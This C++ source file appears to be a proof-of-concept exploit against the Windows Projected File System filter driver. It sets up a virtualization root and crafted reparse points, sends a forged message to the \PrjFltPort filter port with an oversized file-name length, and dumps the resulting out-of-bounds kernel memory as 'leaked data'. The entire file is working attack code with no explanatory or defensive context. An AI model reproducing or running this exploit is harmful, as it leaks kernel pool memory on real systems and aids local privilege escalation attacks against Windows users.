#include <iostream>
#include <Windows.h>
#include <fltuser.h>
#include <projectedfslib.h>
#pragma comment(lib, "projectedfslib.lib")
#pragma comment(lib, "FltLib.lib")

#include "ntdll.h"
#pragma comment(lib, "ntdll")

PWSTR gProcessPath = NULL;
PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT gInstanceHandle;

DWORD CompleteCommandHandler(int CommandId);

struct __declspec(align(4)) _PRJ_CONNECTION_CONTEXT
{
	GUID virtualizationInstanceID;
	unsigned int Version;
	USHORT VolumeLength;
	WCHAR szVolume[256];
};


void PrintInstanceId() {
	PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo;
	HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo);
	if (FAILED(hr))
	{
		wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
		return;
	}

	OLECHAR* guidString;
	StringFromCLSID(InstanceInfo.InstanceID, &guidString);
	wprintf(L"InstanceId: %s\n", guidString);


	LPCOLESTR lpsz = guidString;
	GUID InstanceId;
	hr = CLSIDFromString(lpsz, &InstanceId);
	if (FAILED(hr))
	{
		wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
		return;
	}

	CoTaskMemFree(guidString);
}

void CreateVirtualizationRoot() {

	HRESULT hr;
	const wchar_t* rootName = LR"(C:\virtRoot)";

	RemoveDirectoryW(rootName);

	if (!CreateDirectoryW(rootName, nullptr))
	{
		DWORD gle = GetLastError();
		if (gle != ERROR_ALREADY_EXISTS) {
			hr = HRESULT_FROM_WIN32(gle);
			wprintf(L"Failed to create virtualization root (0x%08x)\n", hr);
		}

		return;
	}

	GUID instanceId;

	hr = CoCreateGuid(&instanceId);
	if (FAILED(hr))
	{
		wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
		return;
	}

	hr = PrjMarkDirectoryAsPlaceholder(rootName,
		nullptr,
		nullptr,
		&instanceId);
	if (FAILED(hr))
	{
		wprintf(L"Failed to mark virtualization root (0x%08x)\n", hr);
		return;
	}

}

HRESULT MyStartEnumCallback(
	const PRJ_CALLBACK_DATA* callbackData,
	const GUID* enumerationId
)
{
	//printf("MyStartEnumCallback\n");
	return S_OK;
}

HRESULT MyEndEnumCallback(
	const PRJ_CALLBACK_DATA* callbackData,
	const GUID* enumerationId
)
{
	//printf("MyEndEnumCallback\n");
	return S_OK;
}

HRESULT MyGetEnumCallback(
	const PRJ_CALLBACK_DATA* callbackData,
	const GUID* enumerationId,
	PCWSTR searchExpression,
	PRJ_DIR_ENTRY_BUFFER_HANDLE dirEntryBufferHandle
)
{
	CompleteCommandHandler(callbackData->CommandId);
	return S_OK;
}

HRESULT MyGetPlaceholderInfoCallback(
	const PRJ_CALLBACK_DATA* callbackData
)
{
	return S_OK;
}

HRESULT MyGetFileDataCallback(
	const PRJ_CALLBACK_DATA* callbackData,
	UINT64 byteOffset,
	UINT32 length
)
{
	return S_OK;
}

void StartVirtualizatioInstance() {
	PRJ_CALLBACKS callbackTable;

	// Supply required callbacks.
	callbackTable.StartDirectoryEnumerationCallback = MyStartEnumCallback;
	callbackTable.EndDirectoryEnumerationCallback = MyEndEnumCallback;
	callbackTable.GetDirectoryEnumerationCallback = MyGetEnumCallback;
	callbackTable.GetPlaceholderInfoCallback = MyGetPlaceholderInfoCallback;
	callbackTable.GetFileDataCallback = MyGetFileDataCallback;

	// The rest of the callbacks are optional.
	callbackTable.QueryFileNameCallback = nullptr;
	callbackTable.NotificationCallback = nullptr;
	callbackTable.CancelCommandCallback = nullptr;

	HRESULT hr;
	const wchar_t* rootName = LR"(C:\virtRoot)";

	PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT instanceHandle;
	hr = PrjStartVirtualizing(rootName,
		&callbackTable,
		nullptr,
		nullptr,
		&instanceHandle);
	if (FAILED(hr))
	{
		wprintf(L"Failed to start the virtualization instance (0x%08x)\n", hr);
		return;
	}

	gInstanceHandle = instanceHandle;
}


struct _PRJ_MSG_OUT_HEADER
{
	int MessageType;
	int Size;
	int Status;
	char Data[256];
};


struct _PRJ_REPARSE_DATA
{
	int Version;
	int dwFlags;
	GUID virtualizationInstanceID;
	PRJ_PLACEHOLDER_VERSION_INFO PlaceHolderVersionInfo;
	unsigned __int16 PlaceHolderRelPathLength;
	WCHAR szPlaceHolderRelPathBuffer[1];

};

struct _PRJ_REPARSE_DATA_BUFFER
{
	ULONG ReparseTag;
	USHORT ReparseDataLength;
	USHORT Reserved;
	_PRJ_REPARSE_DATA ReparseData;
};


HRESULT CreateFileWithReparsePoint(
	PHANDLE pFileHandle,
	LPCWSTR lpcwFileName,
	_PRJ_REPARSE_DATA* ReparseData,
	USHORT ReparseDataLength,
	int Tag,
	bool bDir) {

	size_t ReparseDataLength64; // rbp
	const WCHAR* ErrorMessage; // rdi
	USHORT BufferLength; // bx
	ULONG hr; // ebx MAPDST
	_PRJ_REPARSE_DATA_BUFFER* ReparseDataBuffer; // rax MAPDST
	int LastError; // eax
	ULONG Size; // eax
	size_t Length; // rax

	*pFileHandle = NULL;

	ReparseDataLength64 = ReparseDataLength;
	ErrorMessage = 0i64;
	BufferLength = ReparseDataLength + 8;
	if ((unsigned __int16)(ReparseDataLength + 8) > 0x4000u
		|| ReparseDataLength != ReparseData->PlaceHolderRelPathLength + 0x11A)
	{
		hr = 0x80070057;                            // E_INVALIDARG
		goto LABEL_12;
	}
	ReparseDataBuffer = (_PRJ_REPARSE_DATA_BUFFER*)calloc(1ui64, (unsigned __int16)(ReparseDataLength + 8));
	if (!ReparseDataBuffer)
	{
		hr = 0x8007000E;                            // E_OUTOFMEMORY
	LABEL_12:
		Size = 2;

		return hr;
	}
	ReparseDataBuffer->ReparseTag = Tag;
	ReparseDataBuffer->ReparseDataLength = ReparseDataLength64;
	memcpy(&ReparseDataBuffer->ReparseData, ReparseData, ReparseDataLength64);

	//HANDLE  FileHandle = CreateFileW(lpcwFileName, FILE_WRITE_ATTRIBUTES, 7u, 0i64, OPEN_ALWAYS, 0x2200000u, 0i64);

	UNICODE_STRING usFileName = { 0 };

	RtlInitUnicodeString(&usFileName, (PWSTR)lpcwFileName);
	OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
	ObjectAttributes.Length = 0x30;
	ObjectAttributes.ObjectName = &usFileName;

	ULONG FileAttributes = FILE_ATTRIBUTE_NORMAL;
	ULONG CreateOptions = FILE_SYNCHRONOUS_IO_ALERT;

	if (bDir) {
		CreateOptions = CreateOptions | FILE_DIRECTORY_FILE;
	}

	IO_STATUS_BLOCK IoStatusBlock = { 0 };
	HANDLE  FileHandle = NULL;
	int Status = NtCreateFile(
		&FileHandle,
		FILE_WRITE_ATTRIBUTES | SYNCHRONIZE,
		&ObjectAttributes,
		&IoStatusBlock,
		0i64,
		FileAttributes,
		FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
		FILE_OPEN_IF,
		CreateOptions,
		NULL,
		0);

	if (DeviceIoControl(FileHandle, 0x900A4u, ReparseDataBuffer, BufferLength, 0i64, 0, 0i64, 0i64))// FSCTL_SET_REPARSE_POINT
	{
		hr = 0;
	}
	else
	{
		LastError = GetLastError();
		hr = LastError;
		if (LastError > 0)
			hr = (unsigned __int16)LastError | 0x80070000;
		ErrorMessage = L"Failed to send FSCTL_SET_REPARSE_POINT";
	}
	free(ReparseDataBuffer);
	if (hr)
		goto LABEL_12;

	*pFileHandle = FileHandle;

	return hr;

}

_PRJ_REPARSE_DATA* CreateReparseData(PCWSTR szRelPath, DWORD dwFlags, PUSHORT pLength) {
	USHORT RelPathLength = MAX_PATH;
	USHORT Length = RelPathLength + 0x11A;
	_PRJ_REPARSE_DATA* ReparseData = (_PRJ_REPARSE_DATA*)calloc(1ui64, Length);

	ReparseData->Version = 2;
	ReparseData->PlaceHolderRelPathLength = RelPathLength;

	if (RelPathLength) {
		memcpy(ReparseData->szPlaceHolderRelPathBuffer, szRelPath, RelPathLength);
	}

	*pLength = Length;
	return ReparseData;
}


void PrintOutput(char* buf, int Size) {

	//printf("\n");
	for (int i = 0; i < Size; i++)
	{
		if (i != 0 && i % 8 == 0 && i % 16 != 0) {
			printf("-");

		}
		else if (i > 0)
		{
			printf(" ");
		}


		if (i % 16 == 0 && i != 0) {
			printf("\n");
		}

		printf("%02x", (unsigned)(unsigned char)buf[i]);

	}
	printf("\n");
}

struct _POOL_HEADER
{
	union
	{
		struct
		{
			USHORT PreviousSize : 8;                                          //0x0
			USHORT PoolIndex : 8;                                             //0x0
			USHORT BlockSize : 8;                                             //0x2
			USHORT PoolType : 8;                                              //0x2
		};
		ULONG Ulong1;                                                       //0x0
	};
	ULONG PoolTag;                                                          //0x4
	union
	{
		struct _EPROCESS* ProcessBilled;                                    //0x8
		struct
		{
			USHORT AllocatorBackTraceIndex;                                 //0x8
			USHORT PoolTagHash;                                             //0xa
		};
	};
};

void PrintPoolHeader(_POOL_HEADER* Header) {
	if (Header->PoolTag != 0) {

		char szTag[0x10] = { 0 };
		ULONG size = Header->BlockSize * 0x10;
		memcpy(szTag, &Header->PoolTag, 4);

		printf("PoolTag: %s, size: 0x%x\n", szTag, size);
	}

}

typedef struct _FILE_ID_EXTD_DIR_INFORMATION {
	ULONG         NextEntryOffset;
	ULONG         FileIndex;
	LARGE_INTEGER CreationTime;
	LARGE_INTEGER LastAccessTime;
	LARGE_INTEGER LastWriteTime;
	LARGE_INTEGER ChangeTime;
	LARGE_INTEGER EndOfFile;
	LARGE_INTEGER AllocationSize;
	ULONG         FileAttributes;
	ULONG         FileNameLength;
	ULONG         EaSize;
	ULONG         ReparsePointTag;
	FILE_ID_128   FileId;
	WCHAR         FileName[0x10/2];
} FILE_ID_EXTD_DIR_INFORMATION, * PFILE_ID_EXTD_DIR_INFORMATION;

typedef struct _FILE_DIRECTORY_INFORMATION
{
	ULONG NextEntryOffset;
	ULONG FileIndex;
	LARGE_INTEGER CreationTime;
	LARGE_INTEGER LastAccessTime;
	LARGE_INTEGER LastWriteTime;
	LARGE_INTEGER ChangeTime;
	LARGE_INTEGER EndOfFile;
	LARGE_INTEGER AllocationSize;
	ULONG FileAttributes;
	ULONG FileNameLength;
	WCHAR FileName[1];
}FILE_DIRECTORY_INFORMATION, * PFILE_DIRECTORY_INFORMATION;


void NpQueryDirectory(HANDLE hRoot, FILE_INFORMATION_CLASS FileInfoClass) {
	DWORD   OutputBufferLength = 0x11100;
	PVOID   OutputBuffer = malloc(OutputBufferLength);
	memset(OutputBuffer, 0, OutputBufferLength);

	UNICODE_STRING FileName = { 0 };
	PCWSTR lpcwName = L"3*";
	RtlInitUnicodeString(&FileName, (PWSTR)lpcwName);

	while (1) {

		memset(OutputBuffer, 'B', OutputBufferLength);
		IO_STATUS_BLOCK IoStatusBlock = { 0 };
		NTSTATUS Status = NtQueryDirectoryFile(hRoot, NULL, NULL, NULL, &IoStatusBlock, OutputBuffer, OutputBufferLength, FileInfoClass, true, &FileName, false);
		//printf("NpQueryDirectory Status=0x%x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, GetLastError(), IoStatusBlock.Information);

		if (IoStatusBlock.Information == OutputBufferLength)
		{

			ULONG EntrySize = sizeof(FILE_ID_EXTD_DIR_INFORMATION);
			ULONG FileNameOffset = ULONG(&(((PFILE_ID_EXTD_DIR_INFORMATION)0)->FileName));
			ULONG BufferOffset = EntrySize + FileNameOffset;
			ULONG MaxEntryBuffer = 0x11000;

			PFILE_DIRECTORY_INFORMATION pDirInfo = (PFILE_DIRECTORY_INFORMATION)((char*)OutputBuffer + MaxEntryBuffer - BufferOffset);
			char* pLeakedData = (char*)(pDirInfo->FileName);

			//PrintPoolHeader((_POOL_HEADER*)(pLeakedData));
			PrintOutput(pLeakedData, 0x100);
			printf("\nPress enter key to continue . . .\n");
			getchar();
		}
		
	}
}

struct _PRJ_MSG_IN_HEADER
{
	int MessageType;
	int InputBufferSize;
};

struct _PRJ_MSG_COMLETE_COMMAND_HANDLER_IN_DATA
{
	ULONG DataSize;
	int _4;
	GUID virtualizationInstanceID;
	int Tag;
	char _1c[60];
	ULONG CommandId;
	int RetStatus;
	ULONG ResultLength;
	char ResultBuffer[sizeof(FILE_ID_EXTD_DIR_INFORMATION) * 2 + 0x11100];
};

struct _PRJ_MSG_COMLETE_COMMAND_HANDLER
{
	_PRJ_MSG_IN_HEADER Header;
	_PRJ_MSG_COMLETE_COMMAND_HANDLER_IN_DATA Data;
};

DWORD WINAPI CompleteCommandHandler(int CommandId) {

	static HANDLE hPort = NULL;
	static GUID InstanceId;

	if (hPort == NULL) {
		PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo;
		HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo);
		InstanceId = InstanceInfo.InstanceID;


		//PrjStopVirtualizing(gInstanceHandle);

		_PRJ_CONNECTION_CONTEXT Context;
		Context.VolumeLength = 0x100;
		Context.Version = 1;
		Context.virtualizationInstanceID = InstanceId;
		wcscpy_s(Context.szVolume, L"c:\\");
		ULONG SizeOfContext = sizeof(_PRJ_CONNECTION_CONTEXT);

		HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, &Context, SizeOfContext, NULL, &hPort);
		//HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, NULL, 0, NULL, &hPort);

		printf("FilterConnectCommunicationPort hResult:%x\thPort:%x\n", hResult, hPort);

	}

	static DWORD   InputBufferLength = 0x20000;
	static PVOID   InputBuffer = malloc(InputBufferLength);

	static DWORD   OutputBufferLength = 0x20000;
	static PVOID   OutputBuffer = malloc(OutputBufferLength);

	memset(InputBuffer, 0, InputBufferLength);
	memset(OutputBuffer, 0, OutputBufferLength);

	DWORD BytesReturned = 0;

	_PRJ_MSG_COMLETE_COMMAND_HANDLER Message = { 0 };

	memset(&Message, 'A', sizeof(Message));

	Message.Header.MessageType = 5;
	Message.Header.InputBufferSize = sizeof(Message);
	Message.Data.DataSize = sizeof(_PRJ_MSG_COMLETE_COMMAND_HANDLER_IN_DATA);

	Message.Data.Tag = 0x9000001C;
	Message.Data.virtualizationInstanceID = InstanceId;
	Message.Data.CommandId = CommandId;
	Message.Data.RetStatus = 0;
	Message.Data.ResultLength = sizeof(FILE_ID_EXTD_DIR_INFORMATION) * 2;



	PFILE_ID_EXTD_DIR_INFORMATION FileInfo1 = (PFILE_ID_EXTD_DIR_INFORMATION)Message.Data.ResultBuffer;
	FileInfo1->NextEntryOffset = 0;
	FileInfo1->FileNameLength = 0x10;
	FileInfo1->FileName[0] = L'.';

	PFILE_ID_EXTD_DIR_INFORMATION FileInfo2 = (PFILE_ID_EXTD_DIR_INFORMATION)(Message.Data.ResultBuffer + sizeof(FILE_ID_EXTD_DIR_INFORMATION)) ;
	FileInfo2->NextEntryOffset = 0;
	FileInfo2->FileNameLength = 0x15000;
	FileInfo2->FileName[0] = L'.';

	memcpy(InputBuffer, &Message, sizeof(Message));
	InputBufferLength = Message.Header.InputBufferSize;

	HRESULT hr = FilterSendMessage(hPort, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &BytesReturned);


	//printf("FilterSendMessage hResult:%x\n", hr);

	return 0;
}

void PrjCompleteCommandHandler()
{
	CreateVirtualizationRoot();
	StartVirtualizatioInstance();
	PrintInstanceId();

	//CloseFltPortHandle();


	USHORT Length = 0;
	HANDLE  DirFileHandle = NULL;
	HANDLE  FileHandle = NULL;
	_PRJ_REPARSE_DATA* ReparseData = NULL;
	ReparseData = CreateReparseData(L"dd", 0x10, &Length);
	HRESULT hr = CreateFileWithReparsePoint(&DirFileHandle, L"\\??\\c:\\virtroot\\dd", ReparseData, Length, 0x9000001C, true);
	CloseHandle(DirFileHandle);


	ReparseData = CreateReparseData(L"dd\\3", 0x10, &Length);
	hr = CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\virtroot\\dd\\3", ReparseData, Length, 0x9000001C, false);
	CloseHandle(FileHandle);

	ReparseData = CreateReparseData(L"dd\\4", 0x10, &Length);
	hr = CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\virtroot\\dd\\4", ReparseData, Length, 0x9000001C, true);
	CloseHandle(FileHandle);

	FILE_INFORMATION_CLASS FileInfoClass = FileDirectoryInformation;
	FileHandle = CreateFileW(L"c:\\virtroot\\dd", FILE_READ_DATA, 3u, 0i64, 3u, 0x2200000u, 0i64);
	//PatchLib();

	NpQueryDirectory(FileHandle, FileInfoClass);


	CloseHandle(FileHandle);

	getchar();
}


int wmain(int argc, WCHAR* argv[])
{
	PrjCompleteCommandHandler();
	//CompleteCommandHandler(0);
	return 0;
}